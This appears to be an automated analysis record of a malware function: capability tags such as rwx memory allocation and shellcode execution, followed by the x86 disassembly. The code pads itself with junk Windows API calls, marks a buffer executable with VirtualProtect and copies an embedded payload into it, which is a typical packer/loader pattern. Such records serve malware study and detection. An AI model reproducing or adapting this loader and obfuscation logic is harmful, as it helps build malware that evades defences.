Function at 0x403217
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1030
call fcn.0040c790
push esi
xor esi, esi
cmp dword [0x5cf120], 0x5b1
push edi
jne 0x4032c9
push esi
lea eax, [ebp - 0x830]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push esi
push esi
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push 0x402d98
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push esi
call dword [sym.imp.GDI32.dll_GetPolyFillMode]
push 0x402db8
push esi
call fcn.00403bed
push esi
push esi
push esi
push esi
call fcn.00403ea4
push esi
call fcn.004039d5
push esi
push esi
call fcn.00403f48
push esi
push esi
call fcn.004039e0
add esp, 0x2c
call fcn.0040353f
push esi
call fcn.00404556
add dword [0x5cf120], 0x1134b
push ebx
push dword [0x5cf120]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push dword [0x5cf120]
mov dword [0x5ce074], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403323
inc edi
cmp edi, 0x4f6a4
jl 0x403301
mov eax, dword [0x5cf120]
xor ecx, ecx
cmp eax, esi
jbe 0x403349
mov edx, dword [0x5cf124]
mov dl, byte [edx + ecx + 0x1134b]
mov edi, dword [0x5ce074]
mov byte [edi + ecx], dl
inc ecx
cmp ecx, eax
jb 0x40332e
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0xe
jne 0x40337e
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [0x5cf120]
inc edi
cmp edi, 0x39621
jl 0x40334b
mov edi, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
dec edi
jne 0x40338c
call fcn.00403149
push esi
call ebx
cmp edi, 0x26
jne 0x4033bc
call fcn.004031fd
inc edi
cmp edi, 0x6753f
jl 0x4033af
push 0x7b
pop edi
pop ebx
cmp dword [0x5cf120], 0x86
jne 0x40340a
push esi
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x1030]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec edi
jne 0x4033c9
call fcn.00402f05
pop edi
pop esi
leave
ret